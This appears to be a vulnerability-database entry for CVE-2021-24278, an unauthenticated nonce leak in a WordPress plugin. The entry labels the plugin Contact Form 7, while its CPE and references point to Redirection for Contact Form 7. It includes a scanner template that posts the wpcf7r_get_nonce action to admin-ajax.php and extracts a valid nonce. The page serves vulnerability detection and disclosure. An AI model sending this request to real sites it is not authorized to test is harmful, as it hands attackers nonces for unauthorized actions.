CVE-2021-24278: WordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation

2025-08-01 WordPress Contact Form 7 PoC Public

Description

WordPress Contact Form 7 before version 2.3.4 allows unauthenticated users to use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.

PoC

id: CVE-2021-24278

info:
  name: WordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation
  author: 2rs3c
  severity: high
  description: WordPress Contact Form 7 before version 2.3.4 allows unauthenticated users to use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.
  impact: |
    Attackers can exploit this vulnerability to perform actions on behalf of authenticated users, leading to potential data breaches or unauthorized access.
  remediation: |
    Update WordPress Contact Form 7 plugin to version 2.3.4 or later to fix the Arbitrary Nonce Generation vulnerability.
  reference:
    - https://wpscan.com/vulnerability/99f30604-d62b-4e30-afcd-b482f8d66413
    - https://www.wordfence.com/blog/2021/04/severe-vulnerabilities-patched-in-redirection-for-contact-form-7-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24278
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24278
    cwe-id: CWE-863
    epss-score: 0.07359
    epss-percentile: 0.94087
    cpe: cpe:2.3:a:querysol:redirection_for_contact_form_7:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: querysol
    product: redirection_for_contact_form_7
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,wpscan,querysol,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php"

    body: "action=wpcf7r_get_nonce&param=wp_rest"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"success":true'
          - '"nonce":"[a-f0-9]+"'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - '"nonce":"[a-f0-9]+"'
        part: body
# digest: 4b0a00483046022100d21975e7b9f9b7552f932b4050c0ddd00fe2b0b8c4557a1635ee7be7d61fcf39022100d85020fcbe4e02eb182b8882aa5bf2ed5a288fb6c7b7cf49a406ff2f5ee5418c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities